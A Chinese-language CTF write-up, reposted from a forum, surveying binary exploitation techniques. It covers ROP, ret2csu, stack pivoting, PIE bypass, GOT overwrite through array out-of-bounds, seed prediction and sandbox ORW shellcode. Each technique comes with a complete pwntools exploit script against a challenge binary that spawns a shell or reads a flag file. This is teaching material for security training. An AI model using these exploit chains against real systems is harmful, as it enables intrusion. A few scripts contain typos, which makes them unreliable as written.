CTF-pwn 技术总结(1) 转载自https://forum.butian.net/share/1065
初级Rop 返回导向编程(Return-Oriented Programming,缩写:ROP)是计算机安全中的一种漏洞利用技术,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行—NX保护)的情况下控制程序执行流,执行恶意代码。
使用方法: 利用栈溢出控制程序中函数的返回地址,再借助 ROPgadget 寻找程序/libc 中带有ret的指令,利用这些指令构造一个指令序列,从而控制程序的执行。
例题演示: 来自某学校新生赛题: checkin,
ida打开发现需要输入三个变量满足一个简单的等式,没什么限制随意构造即可
进入vul函数,发现存在栈溢出,偏移为10h,等下就要在这里构造ROP链
还找到了后门函数,
利用ROPgadget工具寻找可用的指令:
也可以用它查找字符串:
思路: 这样构造下面这样的ROP链就可以getshell了
pop rdi; ret; binsh_addr; system_addr
Exp: from pwn import *context.log_level = 'debug' p = process( " . /checkin" ) e = ELF( ".checkin" ) puts_got = e.got["puts" ] pop_rdi = 0x400953 a = str (32 ) b = str (0 ) c = str (0 ) sys_addr = 0x4007c6b binsh_addr = 0x601060 off = 0x10 + 8 p.sendlineafter( "Give ne your a:" , a) p.sendlineafter( "Give me your b:" , b) p.sendlineafter( "cive me your c:" , c) payload = "a" * off + p64(pop_rdi)+ p64(binsh_addr) +p64(sys_addr) payload = payload.ljust( 100 , "a" ) p.send(payload) p.interactive()
通用ROP **通用ROP **也被称为 ret2csu ,因为利用的是64位ELF程序中带有的 cus_init 函数 ,让程序返回到这个函数上,我们就能控制很多寄存器的值,
csu_init函数代码:
void _libc_csu_init(void) public __libc_csu_init __libc_csu_init proc near ; DATA XREF: _start+16o push r15 push r14 mov r15d, edi push r13 push r12 lea r12, __frame_dummy_init_array_entry push rbp lea rbp, __do_global_dtors_aux_fini_array_entry push rbx mov r14, rsi mov r13, rdx sub rbp, r12 sub rsp, 8 sar rbp, 3 call _init_proc test rbp, rbp jz short loc_400616 xor ebx, ebx nop dword ptr [rax+rax+00000000h] loc_400600: ; CODE XREF: __libc_csu_init+54j mov rdx, r13 <------------- 第二次返回地址 mov rsi, r14 mov edi, r15d call qword ptr [r12+rbx*8] add rbx, 1 cmp rbx, rbp jnz short loc_400600 loc_400616: ; CODE XREF: __libc_csu_init+34j add rsp, 8 pop rbx <-------------- 从这里开始 pop rbp pop r12 pop r13 pop r14 pop r15 retn __libc_csu_init endp
我们可以发现:
如果我们返回到 loc_400616: 中的 pop rbx 处,我们就能控制rbx、rbp、r12、r13、r14、r15 这6个寄存器的值,然后再让程序返回到 loc_400600: 处,这样 rdx 、rsi以及edi 就能通过之前赋值的 r13、r14、r15 被我们控制,最后程序还能调用 r12+rbx * 8 地址指向的函数 ,但是注意到之后有个 验证rbx和rbp 的代码,所以实际上rbx和rbp的值已经确定了,我们将其设置成 rbx=0 ,rbp=1,这样我们不仅可以通过验证,不会跳转到 short loc_400600 处,而是接下去直到 loc_400616: 处的 retn ,而且还能直接调用 r12处的函数 (因为rbx=0)。
例题演示: 来自 攻防世界-pwn_100
准备工作 用die看看程序的基本信息
ELF64位的程序
用checksec看看开了啥保护
只开了NX保护
静态分析
进入函数sub_40068E,注意到V1只开辟了64h的空间
进入函数 sub_40063D,分析可知,该函数的功能类似read(0,input,200),就是输入200个byte的数据保存到栈中,存在明显的栈溢出漏洞
开始ROP 发现程序中没有现成的system和“/bin/sh”使用,所以我们考虑使用通用ROP解题
找到两个通用ROP的关键地址
cus_addr_end = 0x40075a cus_addr_front = 0x400740
控制程序返回到这两个地址,我们可以控制rbx,rbp,r12,r13,r14,r15,rdx,rsi,edi 寄存器的数据,即64位程序函数的传参都没问题了,并且还可以调用我们构造的[r12+rbx*8]地址处所指向的的函数。
思路: 1.利用puts函数泄露libc中函数的地址 具体实现:
利用栈溢出覆盖栈中原本的返回地址为cus_addr_end ,将我们需要的寄存器参数(puts_got_addr )写入,再将返回地址覆盖为cus_addr_front ,这样就可以执行puts函数泄露puts函数的地址,注意执行完cus_addr_front 后还会接下去执行cus_addr_end 处的pop,所以需要填充8 * 7 = 56 byte的数据,最后再将返回地址覆盖为main_addr ,因为我们之后还得再利用栈溢出漏洞,还得注意将payload填充至200 byte(输入函数有要求)
注意这里输入数据用的是send()而不是sendline,因为输入函数是read()而不是gets()
接下来接收打印在屏幕上的puts地址,再与libc中puts偏移地址相减获得libc基址——libc_base ,之后就可以轻松获取execve函数的地址。
2.利用read函数将字符串写入bss段 具体实现:
类似第一步的操作,将r12寄存器的值设置为read函数got表地址——read_got_addr 、将其参数设置为bss段偏移为16的地址——bss_base_16 ,执行read()
你可能会好奇为什么不直接用bss段的起始地址而是用bss段偏移为16的地址?
注意这里有一个坑,调试了好几遍才发现
main函数的开始从cs:stdin 和cs:stdout 里取值赋给寄存器,作为setbuf函数的参数,并且bss段首存在stdin,stdout 结构体指针,如果在bss段首写入数据将这两个结构体指针覆盖了,程序运行到call_setbuf函数会报错,然后终止,所以要避开这两个结构体指针,从bss_base_16 写入execve地址——sys_addr
最后利用send()将“/bin/sh”写入bss_base_16 + 8处。
3.再次利用通用ROP执行execve 具体实现:
类似第一步的操作,将r12寄存器的值设置为bss_base_16 、将其参数设置bss_base_16 + 8,执行execv(“/bin/sh”)。
Exp: from pwn import *p = process("./pwn_100" ) e = ELF("./pwn_100" ) main_addr = 0x4006b8 cus_addr_end = 0x40075a cus_addr_front = 0x400740 puts_plt_addr = e.plt["puts" ] puts_got_addr = e.got["puts" ] read_got_addr = e.got["read" ] bss_base_16 = e.bss() + 16 print ("bss+16:" + hex (bss_base_16))off = 0x40 + 8 payload1 = off * 'a' + p64(cus_addr_end) + p64(0 ) + p64(1 ) + p64(puts_got_addr) + p64(0 ) + p64(0 ) + p64(puts_got_addr) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr) payload1 = payload1.ljust(200 , "B" ) p.send(payload1) p.recvuntil("bye~\n" ) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,"\x00" )) print ("puts_addr:" + hex (puts_addr))libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) libc_base = puts_addr - libc.symbols["puts" ] sys_addr = libc_base + libc.symbols["execve" ] print ("sys_addr:" + hex (sys_addr))payload2 = off * 'a' + p64(cus_addr_end) + p64(0 ) + p64(1 ) + p64(read_got_addr) + p64(16 ) + p64(bss_base_16) + p64(0 ) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr) payload2 = payload2.ljust(200 , "B" ) p.send(payload2) p.recvuntil('bye~\n' ) p.send(p64(sys_addr) + '/bin/sh\x00' ) payload3 = off * 'a' + p64(cus_addr_end) + p64(0 ) + p64(1 ) + p64(bss_base_16) + p64(0 ) + p64(0 ) + p64(bss_base_16 + 8 ) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr) payload3 = payload3.ljust(200 , "B" ) p.send(payload3) p.interactive()
栈迁移 当溢出字节不够构造ROP链时,让栈迁移到攻击者能写入的一个地址, 只要这个地址下的内容攻击者提前布局好,就一样能进行ROP。
我们需要了解栈迁移用到的最关键的两个汇编指令 leave 指令和 ret 指令。其作用就是用来还原栈空间的。
leave = mov esp, rbp; pop rbp ret = pop rip
例题演示: 来自 ctfshow摆烂杯-CET6
这道题题目给了libc,
只开了NX的64位程序,
第一关利用4字节的栈溢出覆盖seconds为0,
这里明显存在16字节的栈溢出,但是实在太短了,根本没办法做什么事,果断使用栈迁移,
思路: 将 rbp 覆盖成 **fake_stack地址(0x404F00)**,让程序再回到 read函数(0x4011ae) , 然后再巧妙把 rbp 覆盖成 **fake_stack+0x40处地址(0x404F40)**——这样就能在 fake_stack地址(0x404F00) 处写入数据,并让程序再回到read函数,这一次 rsp 因为 leave;retn ,变为 fake_stack+0x10(0x404f10) ,这样就能通过构造ROP链,控制read函数的返回地址,让其打印出got表里puts函数的地址,从而就获取到了libc基址,再次让程序返回read函数,最后构造getshell的ROP链即可。
Exp: from pwn import *context.log_level = 'debug' p = process('./CET6' ) elf = ELF("./CET6" ) libc = elf.libc pop_rdi = 0x4012f3 fake_stack = 0x404F00 read_addr = 0x4011ae puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] p.sendafter('your name:\n' ,'\x00' * 0x8 ) payload = 'a' * 0x40 + p64(fake_stack) + p64(read_addr) p.sendafter('QAQ:How was your test???' , payload) payload = 'a' * 0x40 + p64(fake_stack + 40 ) + p64(read_addr) p.send(payload) payload = 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr) p.send(payload) put_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) libc_base = put_addr - libc.symols['puts' ] success('libc_base:' + hex (libc_base)) binsh = libc_base + libc.search('/bin/sh\x00' ).next () system = libc_base + libc.symols['system' ] payload = 'a' *0x20 + p64(pop_rdi) + p64(binsh) + p64(system) p.send(payload) p.interactive()
PIE绕过 PIE( ASLR )保护机制 PIE和ASLR的是操作系统的功能选项,两者一般一起配合使用,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。现代操作系统一般都加设这一机制,以防范恶意程序对已知地址进行 Return-to-libc 攻击。
但是PIE影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。
PIE怎么绕过 虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址
,通过ida静态的看他的程序地址,就能算出基址,从而实现绕过
例题演示: 来自某高校新生赛题—checkin_revenge
输入三个数字满足等式,还是没啥限制,随意构造即可
这里存在明显的栈溢出
但是这一题是开了PIE和RELRO的64位程序,所以我们不能再覆盖got表,
虽然PIE烦人,但是还是有弱点的:
PIE 保护的一个弱点就是pie不会随机化地址的低12位,通俗点说就是我们十六进制地址的后三位,这样我们才有“文章”可做
现在先整理一下思路:
我们的目的是得到libc中system和/bin.sh的地址
开启了地址随机化,每次运行的基址都不一样,所以得先得到每次程序运行的libc的基址,这里我们利用libc_start_main ,我们想办法得到程序中libc_start_main的地址,减去libc中的偏移,得到libc基址,进而获得system等的地址
为了得到libc基址,我们已经让程序正常运行了一次,那我们接下来就是要让程序再出现一次栈溢出漏洞,在这时截获它,让它运行system(’/bin/sh’), getshell
所以程序的运行地址我们要先泄露出来,有了它我们就能利用 plt表 泄露出 got表 内容。
具体做法是利用 put() 函数是打印一个字符串,直到遇到 ‘\x00 ‘才会停止打印,而我们输入的函数是 read() ,它不会帮我们添加 ‘\x00 ‘,所以我们能用这个点来泄露出 vlu() 的返回地址,即main函数里的地址,也就能得到程序的运行基址,注意到 vul() 的返回地址为 A89 ,而我们只能覆盖一个字节,开了PIE后只有最后三位是相同的,所以不能覆盖两个字节,所以我们只能回到 A7F 处,同样能达到我们再次栈溢出的目的
然后有了程序基址,我们正常利用puts的plt表 来调用puts泄露got表 内容,因为got表写的是libc函数地址,所以就等于我们得到了libc基址,然后就是64位正常做。
EXP: from pwn import *context.log_level = 'debug' p = remote("172.16.68.4" , 10002 ) e = ELF("./checkin_revenge" ) a = str (1 ) b = str (2 ) c = str (3 ) off = 0x10 + 8 p.sendlineafter("Give me your a:" ,a) p.sendlineafter("Give me your b:" ,b) p.sendlineafter("Give me your c:" ,c) payload = "a" * off + "\x7f" p.send(payload) main_addr = u64(p.recvuntil('\x55' )[-6 :].ljust(8 ,'\x00' )) success("main:" + hex (main_addr)) code_base = main_addr & 0xfffffffffffff000 puts_plt = e.plt["puts" ] + code_base print ("puts_plt:" + hex (puts_plt))puts_got = e.got["puts" ] + code_base pop_rdi = 0x0000000000000b03 + code_base payload = 'a' * off + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.send(payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,"\x00" )) print ("puts_addr:" + hex (puts_addr))libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) base_addr = puts_addr - libc.symbols["puts" ] system_addr = base_addr + libc.symbols["system" ] binsh_addr = base_addr + libc.search("/bin/sh" ).next () success("system:" + hex (system_addr)) success("binsh:" + hex (binsh_addr)) payload = 'a' * off + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
数组越界 所谓的数组越界,简单地讲就是指数组下标变量的取值超过了初始定义时的大小,导致对数组元素的访问出现在数组的范围之外,这类错误也是 C 语言程序中最常见的错误之一。
在 C 语言中,数组必须是静态的。换而言之,数组的大小必须在程序运行前就确定下来。由于 C 语言并不具有类似 Java 等语言中现有的静态分析工具的功能,可以对程序中数组下标取值范围进行严格检查,一旦发现数组上溢或下溢,都会因抛出异常而终止程序。也就是说,C 语言并不检验数组边界,数组的两端都有可能越界,从而使其他变量的数据甚至程序代码被破坏。
利用数组越界漏洞我们能干什么? 答案是:修改任意地址里的数据
比如我们可以用数组越界漏洞,将got表里printf函数的地址修改成 system(‘/bin/sh’”)的地址,那么程序在之后调用printf函数时,实际上调用的是函数 system(‘/bin/sh’”),这样我们就获得了目标主机的控制权限。
RELRO保护 在Linux中有两种RELRO模式:Partial RELRO
和 Full RELRO
。Linux中Partical RELRO
默认开启。如果开启 FUll RELRO
,意味着我们无法修改got表,这样也就没法通过修改GOT表来进行 Return-to-libc 攻击
例题演示: 来自某学校新生杯赛题-arry
首先,利用工具查看保护,发现没有 FUll RELRO
,意味着我们可以修改GOT表,而且开了PIE保护,说明我们很可能泄露一些地址出来,
用ida打开,发现程序可以通过数组越界查看任意地址里的值并更改它,并且程序已经存在system(“/bin/sh”)了。
因为程序开了 aslr保护 (最后三位不变),所以我们要先泄露程序代码段的基址,然后再将 printf 的got表覆盖成后门函数的地址,
在ida里可以发现数组arry的地址在bss段里,并且离got表很近,故我们可以通过计算got表项地址与arry的地址之间的偏移来获取got表项里的内容。
在gdb中调试也可以发现 bss段中arry离got段很近,直接将arry与got项之间地址相减得到两者之间的偏移 ,利用这个 偏移 获得 stack_chk_fail 函数的地址,然后用0xFFFFFFFFF000 与得到的地址相与得到 代码段基址 ,然后用 代码段基址 加上 arry和system的got表地址的偏移 计算得到后门函数地址,再利用一次数组越界将 printf的got表项 覆盖成后门函数地址
坑点: 第一次利用数组越界来获得代码段基址,我是选择泄露system函数的got表值,不知道为什么change时我填入的是获取到的它的原始值,但是调试的时候发现程序中的system got表值被更改了,应该是这里有什么保护机制吧,所以之后选择泄露 stack_chk_fail got表项来获得代码段基址。
Exp :from pwn import *context.log_level = 'debug' p = process("./arry" ) printf_offset = -128 stack_chk_fail_offset = -152 p.sendlineafter("index:" ,str (stack_chk_fail_offset)) p.recvuntil("content:" ) stack_chk_fail = u64(p.recv(6 ).ljust(8 ,"\x00" )) print (hex (stack_chk_fail))p.sendlineafter("change:" ,p64(stack_chk_fail)) base = stack_chk_fail & 0xfffffffff000 p.sendlineafter("index:" ,str (printf_offset)) p.sendlineafter("change:" ,p64(0xA93 + base)) p.interactive()
伪随机数 在C语言中,rand()函数可以用来产生随机数,但是这不是真真意义上的随机数,是一个伪随机数,是根据一个数,我们可以称它为种子,为基准以某个递推公式推算出来的一系数,当这系列数很大的时候,就符合正态公布,从而相当于产生了随机数,但这不是真正的随机数,当计算机正常开机后,这个种子的值是定了的,除非你破坏了系统,为了改变这个种子的值,C提供了srand()函数,它的原形是void srand( int a)。
例题演示: 某高校新生赛题—guess
64位保护全开
主函数是输入一个文件名,然后程序会打开并读取它的前4个字节,将每个字节作为随机数种子,生成随机数。
题目的难点在我们不知道靶机上有啥文件,但是这同样也存在一个漏洞。
非预期解: 随意输入一个文件名,因为不存在这个文件,所以打开文件失败,随机数种子是初始值 0 ,这样每次生成的随机数都是同样的,是一个固定值,利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点,我们可以很轻松’’猜’’出四次 ‘随机数’。
EXP:
from pwn import *from ctypes import * context.log_level = "debug" p = remote("172.16.68.4" , 10006 ) elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) payload = '0.txt' p.sendafter('First of all, choose a file you like it.\n' ,payload) elf.srand(0 ) for i in range (4 ):payload = str (elf.rand()) p.sendlineafter("number:" ,payload) p.interactive()
正常解: 目前我们可以确定在目标靶机上的文件就是这个 guess程序本身 ,而guess程序是一个 ELF文件 ,它的前四个字节是一个固定值:0x7F454C46 ,接下来利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点模拟播种,生成随机数就好了。
EXP:
from pwn import *from ctypes import * context.log_level = "debug" p = remote("172.16.68.4" , 10006 ) elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) payload = 'guess' p.sendafter('First of all, choose a file you like it.\n' ,payload) key = "7F454C46" for i in range (0 ,8 ,2 ): elf.srand(int (key[i:i+2 ],16 )) payload = str (elf.rand()) p.sendlineafter("number:" ,payload) p.interactive()
sandbox sandbox(沙箱),是一种安全机制,为执行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。 在ctf比赛中,pwn题中的沙盒一般都会限制 execve 的系统调用,这样一来one_gadget和system调用都不好使,只能采取 open/read/write 的组合方式来读取flag,即 ORW类题 。
例题演示: 来自某高校新生杯赛题—shellcode
ida打开发现这道题是让我们输入一段shellcode,然后程序会运行它,但是这里存在**sandbox()函数,他会进行过滤,这道题的提示里面说 execve()**被ban了,让我们尝试直接读取flag
很明显这是一类题型——ORW 类题
ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式先调用 open 打开 flag 文件,然后利用 read 把 flag 的值读取到内存里面, 最后通过 write 来读取并打印 flag 内容。
所以我们需要一个依次调用**open()、 read()、 write()的shellcode,先用 open()打开文件flag.txt 然后通过 read()读取文件内容到 栈上 最后利用 write()**将其输出到屏幕上。
Exp: from pwn import *p = process("./shellcode" ) context(os="linux" , arch="amd64" ,log_level = 'debug' ) gdb.attach(p,"b *0x400CE7" ) shellcode = shellcraft.open ('flag.txt' ) print ("this is asm:" +shellcode)print ("this is bitcode:" + asm(shellcode))shellcode += shellcraft.read('rax' ,'rsp' ,100 ) shellcode += shellcraft.write(1 ,'rsp' ,100 ) shellcode = asm(shellcode) p.sendline(shellcode) p.interactive()
关键点: 利用pwntools自带的功能生成我们想要的shellcode,先选择架构
context(os = "linux" , arch = "amd64" )
然后再生成shellcode,
shellcraft.fuction(arg1,arg2,arg3...)
这个命令能帮我们生成一个调用函数fuction(arg1,arg2,arg3…)的汇编代码,
最后再用**asm()**包裹 shellcode的汇编代码,生成字节码,一个shellcode就完成啦!
例题演示2: 来自ctfshow摆烂杯—CET4
只开了NX保护,
这道题已知libc版本,
方法一: 因为已知libc,所以可以先泄露got表函数地址,然后return_to_libc,利用libc函数构造ROP链,执行 ORW 获取flag。
思路: 先向bss段写入flag字符串,然后利用open函数(参数是flag字符串、0、0)打开flag,然后再利用read函数(参数是文件指针=0x3,bss段地址,100)读取open函数打开的flag文件中的数据,这里有一个隐藏知识,open函数打开的第一个文件的fd指针一般都为0x3 ,最后用write函数(参数是1,bss段地址,100)将read读取到的数据显示到屏幕上。
Exp: from pwn import *context.log_level = 'debug' p = remote('pwn.challenge.ctf.show' ,28188 ) e = ELF('./CET4' ) def sla (signal, content ): p.sendlineafter(signal, content) def rn (signal ): p.recvuntil(signal) def r_a64 (signal ): return u64(p.recvuntil(signal)[-6 :].ljust(8 ,'\x00' )) rn(':' ) p.send('\x00' *8 ) puts_plt = e.plt['puts' ] puts_got = e.got['puts' ] pop_rdi = 0x4013d3 payload = 'a' * 0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x401290 ) sla('\n' , payload) puts_add = r_a64('\x7f' ) print (hex (puts_add))libc = ELF("./libc6_2.30-0ubuntu2_amd64.so" ) libc_base = puts_add - libc.symbols['puts' ] read = libc_base + libc.symbols['read' ] write = libc_base + libc.symbols['write' ] open = libc_base + libc.symbols['open' ]success('libc_base:' + hex (libc_base)) rn(':' ) p.send('\x00' *8 ) pop_rdi = 0x4013d3 bss = 0x404260 pop_rdx_r12 = libc_base + 0x11c421 pop_rsi = libc_base + 0x2709c payload = 'a' * 0x48 + p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(4 ) + p64(0 ) + p64(read) + p64(0x401290 ) payload = payload.ljust(0x100 ,'a' ) rn('\n' ) p.send(payload) p.send('flag' ) success('set string success!' ) rn(':' ) p.send('\x00' *8 ) payload = 'a' * 0x48 + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx_r12) + p64(0 ) + p64(0 ) + p64(open ) + p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100 ) + p64(0 ) + p64(read) + p64(0x401290 ) print (len (payload))payload = payload.ljust(0x100 ,'a' ) rn('\n' ) p.send(payload) success('read file success!' ) rn(':' ) p.send('\x00' *8 ) payload = 'a' * 0x48 + p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100 ) + p64(0 ) + p64(write) + p64(0x401290 ) payload = payload.ljust(0x100 ,'a' ) rn('\n' ) p.send(payload) success('wirte file success!' ) p.interactive()
方法二: 编写shellcode执行来 ORW 获取flag,但是没有可写入并且可执行的程序段,这里要用到一个函数—mprotect
mprotect: 在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
#include <unistd.h> #include <sys/mmap.h> int mprotect (const void *start, size_t len, int prot) ;
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可读;
2)PROT_WRITE:表示内存段内的内容可写;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
思路: 通过mprotect函数修改bss段为可执行,然后先bss段中写入shellcode,最后让程序返回到shellcode地址。
Exp: from pwn import *p=process('./CET4' ) elf=ELF("./CET4" ) libc=elf.libc context.log_level='debug' context.arch='amd64' rdi=0x00000000004013d3 bss=0x404000 main=elf.sym['main' ] p.sendafter('your name:\n' ,'a' *4 +p32(0 )) p.sendafter('QAQ:How was your test???' ,'a' *0x48 +p64(rdi)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(main)) libc_base=u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" ))-libc.sym['puts' ] success('libc_base:' +hex (libc_base)) rsi=0x0000000000027529 +libc_base rdx_r12=0x000000000011c371 +libc_base p.sendafter('your name:\n' ,'a' *4 +p32(0 )) protect=libc_base+libc.sym['mprotect' ] payload=p64(rdi)+p64(0x404000 )+p64(rsi)+p64(0x1000 )+p64(rdx_r12)+p64(7 )+p64(0 )+p64(protect)+p64(main) p.sendafter('QAQ:How was your test???' ,'a' *0x48 +payload) p.sendafter('your name:\n' ,'a' *4 +p32(0 )) read=libc_base+libc.sym['read' ] payload=p64(rdi)+p64(0 )+p64(rsi)+p64(0x404500 )+p64(rdx_r12)+p64(0x100 )+p64(0 )+p64(read)+p64(0x404500 ) p.sendafter('QAQ:How was your test???' ,'a' *0x48 +payload) code = shellcraft.open ("./flag" ) code += shellcraft.read(3 , 0x404900 , 0x50 ) code += shellcraft.write(1 , 0x404900 , 0x50 ) shellcode = asm(code) pause() p.sendline(shellcode) p.interactive()